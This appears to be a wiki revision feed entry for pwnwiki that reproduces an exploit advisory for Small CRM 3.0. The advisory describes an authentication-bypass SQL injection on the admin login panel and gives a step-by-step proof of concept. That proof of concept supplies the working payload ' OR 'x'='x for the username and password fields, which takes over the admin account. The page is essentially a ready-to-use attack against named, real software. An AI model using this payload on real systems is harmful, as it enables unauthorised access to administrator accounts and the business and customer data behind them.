https://pwnwiki.com/index.php?action=history&feed=atom&title=Small_CRM_3.0_SQL%E7%9B%B2%E6%B3%A8%E6%BC%8F%E6%B4%9E 2026-04-15T04:29:35Z Revision history for this page on the wiki MediaWiki 1.35.1 https://pwnwiki.com/index.php?title=Small_CRM_3.0_SQL%E7%9B%B2%E6%B3%A8%E6%BC%8F%E6%B4%9E&diff=5053&oldid=prev 2021-06-15T01:22:25Z

<p>Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: Small CRM 3.0 - &#039;Authentication Bypass&#039; SQL Injection # Date: 12/06/2021 # Exploit Author: BHAVESH KAUL # Vendor Homepage: https://phpgurukul.co...&quot;</p> <p><b>New page</b></p><div>==EXP==<br /> &lt;pre&gt;<br /> # Exploit Title: Small CRM 3.0 - 'Authentication Bypass' SQL Injection<br /> # Date: 12/06/2021<br /> # Exploit Author: BHAVESH KAUL<br /> # Vendor Homepage: https://phpgurukul.com<br /> # Software Link: https://phpgurukul.com/small-crm-php/<br /> # Version: 3.0<br /> # Tested on: Server: XAMPP<br /> <br /> # Description #<br /> <br /> Small CRM 3.0 is vulnerable to SQL Injection on it's admin login because of insufficient user supplied data sanitization and the sql injection payload being executed. Attacker is able to access the admin login panel and supply the malicious payload, successfully taking over admin account.<br /> <br /> # Proof of Concept (PoC) : Exploit #<br /> <br /> 1) Goto: http://localhost/crm/admin/<br /> <br /> 2) Enter the following payload in 'Username' and 'Password' parameter: ' OR 'x'='x<br /> <br /> 3) SQL Injection successfull<br /> <br /> &lt;/pre&gt;</div>

Pwnwiki